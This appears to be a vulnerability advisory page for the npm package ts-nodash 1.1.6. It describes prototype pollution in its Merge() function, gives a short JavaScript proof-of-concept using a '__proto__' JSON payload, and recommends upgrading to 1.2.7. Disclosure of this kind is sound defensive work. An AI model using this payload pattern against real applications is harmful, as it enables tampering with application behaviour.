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ts-nodash@1.1.6 vulnerabilities

Provides object manipulation tools.

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Direct Vulnerabilities

Known vulnerabilities in the ts-nodash package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
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Prototype Pollution

ts-nodash is a Provides object manipulation tools.

Affected versions of this package are vulnerable to Prototype Pollution via the Merge() function due to lack of validation input.

PoC

const nodash = require("ts-nodash");
let obj = {};
console.log("Before being polluted: " + obj.polluted);
var EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
nodash.Merge({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);

How to fix Prototype Pollution?

Upgrade ts-nodash to version 1.2.7 or higher.

<1.2.7
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